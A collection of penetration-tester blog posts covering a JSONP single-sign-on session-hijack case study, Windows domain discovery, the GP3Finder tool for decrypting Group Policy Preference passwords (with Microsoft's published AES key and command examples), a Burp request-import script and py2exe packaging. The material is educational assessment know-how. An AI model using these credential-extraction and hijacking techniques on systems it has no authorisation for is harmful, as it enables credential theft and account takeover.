While this all sounds perfectly innocent, it easily becomes a security vulnerability when you remember that it is often sensitive data that is passed between domains, for example session tokens, and since it is abusing the behavior of the Same Origin Policy there is no built in or standardized security mechanism which may be used to ensure the receiving domain is the intended one.

Depending on the exact usage of JSONP, the vulnerability may result in sensitive information disclosure, Cross Site Scripting, Cross Site Request Forgery, only Reflected File Download. I have most often seen JSONP being used to implement a Single Sign On system, therefore if sufficient validation of the receiving domain is not performed exploitation results in session hijacking or account take over.

In the simplest instance, no validation is performed an exploitation is as simple as including the script from the sending domain within the attacker’s site and persuading a user of the sending application to visit the attacker’s site.

However there are more complex instances where the web developer has attempted to prevent the data being passed to malicious domains. This can take a variety of forms but is often incomplete whether on the client side or the server side.

Anonymous Case Study

On a recent web application test I encountered a single sign on system utilising JSONP and enforcing server side checks on the HTTP Referer header before returning the script containing the session token, and the script itself performed client side checks on the document.domain attribute before passing the token to the JavaScript function. However both of these pieces of validation were flawed and therefore it was possible to hijack the user’s session, and with further work I believe it would have resulted in full account takeover.

The server side validation consisted of a check of the requesting domain against a Regular Expression, however as is often the case the developers overlooked the fact that “.” in Regular Expressions is a wild card. Therefore although the developer only intended to allow “www.somedomain.co.uk” the wild card meant that “wwwXsomedomainXcoXuk” would pass validation (I also identified that any subdomain was allowed i.e “XXXX.wwwXsomedomainXcoXuk”) – however remember it also had to be a valid domain, so the final dot needed to be an actual dot – obviously there were many domains that could be registered to meet these requirements.

The client side validation was significantly more unusual, it consisted of a CRC32 hash of the document.domain and comparing it to a list of approved values. However due to the limited size of the hash (32 bits) it is a mathematical certainty that multiple domains exist that would result in the same hash and therefore pass validation.

In order to exploit this usage of JSONP
I needed to pass both the server and client side validation. To do this I decided to write a Python script to iterate through all the permutations that would pass the Regular Expression in order to identify one that would also pass the CRC32 validation. (Unfortunately this script cannot be released at this time, but I hope to share it in the future as it could be useful to others).

It took over 1.6 billion permutations, but I eventually identified a valid domain and was able register it and exploit the flawed JSONP validation to hijack a user’s session.

Defense

JSONP should no longer be used as HTML5 features like CORS and PostMessage are available with well defined security mechanisms, however these also require careful validation of the “origin” to prevent the data being passed to unauthorised domains.


As always, if you have any comments or suggestions please feel free to get in touch.

How to find the Windows DNS style Domain Name

A common requirement on internal network assessments is to know the fully qualified Windows domain name of the network. This is trivial to obtain if using DHCP.

On Linux like systems simply:

cat /etc/resolv.conf

The domain name is in the ‘domain’ or ‘search’ field.

On Windows you can see the domain name in the Network Settings accessible from the system tray on in the ‘DNS suffix’ section of the output of:

ipconfig

However if for whatever reason you are not using DHCP these methods are less likely to work. But it is possible to get the domain name by querying a host on the network. My preferred method of doing this is, of course, python:

import socket
socket.gethostbyaddr("ip_addr")

Where ip_addr is any live host on the network, the DNS server I act as pot of thestatic configuration is what I usually use. This function returns the full qualified domain name, a list of aliases (commonly the NetBIOS  name), and the IP address of the remote host. Everything after the first ‘.’ in the FQDN is the DNS style Windows Domain Name. E.g. if the FQDN of the host is:

dnsserv1.corp.ad.company.com

the domain name would be:

corp.ad.company.com

There are other methods that may be used to identify the legacy -but ubiquitous – NetBIOS style Windows Doman Name which I will save for a future post.

This information can then be used to identify the Windows Domain Controllers, which I will also describe in a later post.

GP3Finder – Group Policy Preference Password Finder

Group Policy preferences were introduced by Microsoft in Windows 2008 allowing administrators to configure unmanaged settings (settings which the user can change) from a centrally managed location – Group Policy Objects (GPO) [1].

Among the preference items configurable through Group Policy preferences are several that can contain credentials: Local Groups and User Accounts, Drive Mappings, Schedule Tasks, Services, and Data Sources.

These credentials are stored within the preference item in SYSVOL in the GPO containing that preference item. In order to obscure the password from casual users it is encrypted in the XML source code of the preference item [2]. However anyone who gains access to SYSVOL can decrypt the passwords because Microsoft published the Advanced Encryption Standard (AES) encryption key [1]:

4e 99 06 e8  fc b6 6c c9  fa f4 93 10  62 0f fe e8
f4 96 e8 06  cc 05 79 90  20 9b 09 a4  33 b6 6c 1b

Microsoft addressed this issue in MS14-025 [4] however this update only prevented the creation of new Group Policy Preference items containing credentials; it did not remove any existing instances as this was considered too disruptive. Therefore network administrators must take action to find and remove these vulnerable items.

Several tools exist to exploit this vulnerability including:

Get-GPPPassword (PowerShell – http://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html)

gpp (Metasploit Post Module – http://www.rapid7.com/db/modules/post/windows/gather/credentials/gpp)

gpprefdecrypt.py (Python – http://esec-pentest.sogeti.com/public/files/gpprefdecrypt.py)

gpp-decrypt-string.rb (Ruby – http://carnal0wnage.attackresearch.com/2012/10/group-policy-preferences-and-getting.html)

However each of these existing tools have a significant weakness. Get-GPPPassword must be run from a Windows machine, the gpp Metasploit post module requires a meterpreter session, gpprefdecrypt.py and gpp-decrypt-string.rb require you to manually extract the cpassword for decryption, and finally the version of gpprefdecrypt.py available for download no longer works at the time of writing (due to an update to PyCrypto that removed the default iv of 16 bytes of zeros).

I therefore wrote a new cross platform tool, dubbed GP3Finder (Group Policy Preference Password Finder), to automate the process of finding, extracting and decrypting passwords stored in Group Policy preference items. This tool is written in Python (2.7) and depends on PyCrypto and PyWin32 on Windows or subprocesses on *nix based operating systems.

GP3Finder has been released open source under the GPL2 license here a compiled executable for Windows is also available here.

Update v4.0

On a recent test I had compromised a single Windows host and had remote desktop access as a low privilege user. Since I couldn’t map the C$ share remotely, and didn’t want to search through the dozens of Group Policy Preference items using built in Windows utilities, I quickly added the functionality to gp3finder instead.

Note: Group Policy Preferences are cached locally under the (hidden) directory: “C:\ProgramData\Microsoft\Group Policy\History\” by default.

In this update I also add the option to specify the start path when searching a remote share. This allows you to quickly search for Group Policy Preference passwords when you have access to the C$ share without searching the entire drive.

Another significant change is that you can now specify multiple hosts to search – ideal if you have access to C$ on a number of hosts and want to check all of them. Note, this functionality is not threaded (yet) so can take some time to complete.

Finally I have changed some of the command line options to ensure they are as intuitive as possible (see below or –help).

Example Usage

Decrypt a given cpassword:

gp3finder.py -D CPASSWORD

The following commands output decrypted cpasswords (from Groups.xml etc) and list of xml files that contain the word ‘password’ (for manual review) to a file (‘gp3finder.out’ by default, this can be changed with -o FILE).

Find and decrypt cpasswords on domain controller automatically:

gp3finder.py -A -t DOMAIN_CONTROLLER -u DOMAIN\USER
 Password: PASSWORD

Maps DOMAIN_CONTROLLER’s sysvol share with given credentials.

Find and decrypt cpasswords on the local machine automatically:

gp3finder.py -A -l

Searches through “C:\ProgramData\Microsoft\Group Policy\History” (by default) this can be changed with -lr PATH

Find and decrypt cpasswords on a remote host:

gp3finder.py -A -t HOST -u DOMAIN\USER -s C$ -rr "ProgramData\Microsoft\Group Policy\History"

Find and decrypt cpasswords on hosts specified in a file (one per line):

gp3finder.py -A -f HOST_FILE -u DOMAIN\USER -s C$ -rr "ProgramData\Microsoft\Group Policy\History"

Note: the user this script is run as must have permission to map/mount shares if running against a remote host.

Additional options are available:

gp3finder.py --help

References

[1] [Online]. Available: http://www.microsoft.com/en-us/download/details.aspx?id=24449).
[2] [Online]. Available: http://blogs.technet.com/b/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx.
[3] [Online]. Available: http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be.aspx.
[4] [Online]. Available: http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx.


 

As always, if you have any comments or suggestions please feel free to get in touch.

Raw HTTP Requests to Burp Proxy

On a recent Web application test I encountered a new challenge. The Web application presented a Web API intended to be used by a mobile application, in order for developers to utilise this API the documentation was also served from the Web application.

In order to assess each API function for vulnerabilities I first had to build valid requests from the documentation and then get them into my Web assessment tool of choice Burp Suite Pro.

It would have been possible to accomplish this by reading the documentation and patiently typing the raw HTTP request into Burp repeater. However with over thirty API functions to test and a tight schedule this was not a viable option. I therefore decided to script it.

The first step was to download all of the HTML documentation and parse each page to extract the HTTP method, path, example URL parameters, and, if present, the example body parameters. Using this information I built raw HTTP requests which I stored in text files. (As this first script is quite specific to the client’s application I will not be releasing it at this time).

With a directory full of raw HTTP requests it was time to import them into Burp and start testing proper. However I could not find any method of importing my raw HTTP requests into Burp other than manually copying and pasting them into repeater, an achievable task with the relatively small number of functions I had to test in this instance but a chilling prospect for future, larger tests.

After a coffee I had the idea to simply send the raw HTTP request through Burp by sending them from a Web client with a proxy configured. Since the requests had a variety of HTTP methods and body parameters a Web browser wasn’t an option. I briefly tried using telnet and netcat but these failed for some reason I haven’t identified. I also tried using curl, but this required further processing to issue the request using the curls’s command line options. I therefore turned back to Python and wrote a script to read files from a directory, then for each file: parse them into an object (using BaseHttpRequestHandler), build a request using urllib2 and send this via a proxy.

This resulted in the HTTP request being stored in Burp ready for assessment like any normal request to a Web application – visible in the site map, proxy history and easily sent to Intruder, Repeater, Scanner and Sequencer.

I’ve released this script under the GPLv2 licence in the hope that it will be useful to others, it is available here.

Example Usage

Parse one or more files and send via the default proxy (127.0.0.1:8080):

raw2proxy.py -f FILENAME FILENAME...

Parse a directory of files and send via a proxy running on 192.168.0.1 port 9001:

raw2proxy.py -d DIRECTORY -p 192.168.0.1:9001

Additional options are available:

raw2proxy.py --help

As always, if you have any comments or suggestions please feel free to get in touch.

Python Script to Standalone Executable (with Icon)

When releasing tools, and proof of concepts, to the industry and more often to clients, I find I need to provide a standalone executable that can be run without installing Python and any required modules.

To accomplish this I use py2exe . While other options exist (for example pyinstaller) personally I have found py2exe quicker and easier to use once a few stumbling blocks were overcome. I therefore decided to write a short post describing how I setup and use py2exe for when laptop rebuild time comes around and in the hope it will be useful to others.

First, at the time of writing, py2exe does not support creating a single executable using 64 bit Python, throwing the error:

error: bundle-files 1 not yet supported on win64

So step 1 is to install 32 bit Python (being careful not to overwrite your existing 64 bit installation) and 32 bit versions of any non standard library modules that are required by your script.

Next you need to install py2exe itself. The project home page points to the SourceForge project page. Ensure you download the 32 bit version for the version of Python you have installed.

Now you are ready to create the script that will create your standalone executable. There are many options available, but I find the following minimal script very effective. This script will create a single executable (‘bundle_files’) for script.py.

from distutils.core import setup
import py2exe, sys

sys.argv.append('py2exe')

setup(
        options = {
                    'py2exe': {'bundle_files': 1,
                               'compressed': True
                              }
                  },
        console = [{
                    'script': "script.py"
                  }],
        zipfile = None,
)

The one additional option I sometimes use is to add a custom icon to the executable. To do this I first create my icon image (256×256 pixels) in an image editor and export the required sizes (16×16, 32×32, 48×48, 256×256) in the png image format. I then use png2ico to create a .ico file, note the order in which you add the different size images is important it must be largest to smallest otherwise the icon may not be displayed at all! i.e:

png2ico favicon.ico icon_256.png icon_48.png icon_32.png icon_16.png

With the icon (favicon.ico) created the following script can be used to turn script.py into a standalone executable with an icon.

from distutils.core import setup
import py2exe, sys

sys.argv.append('py2exe')

setup(
        options = {
                    'py2exe': {'bundle_files': 1,
                               'compressed': True
                              }
                  },
        console = [{
                    'script': "script.py",
                    'icon_resources': [(0, 'favicon.ico')]
                  }],
        zipfile = None,
)

Once the setup.py script above has been written, the standalone executable can be created simply by running it using your 32 bit Python installation (my 32 bit installation is at ‘C:\Python27_x86\python’):

C:\Python27_x86\python setup.py

By default the executable will be created in the “dist” directory.


As always, if you have any comments or suggestions please feel free to get in touch.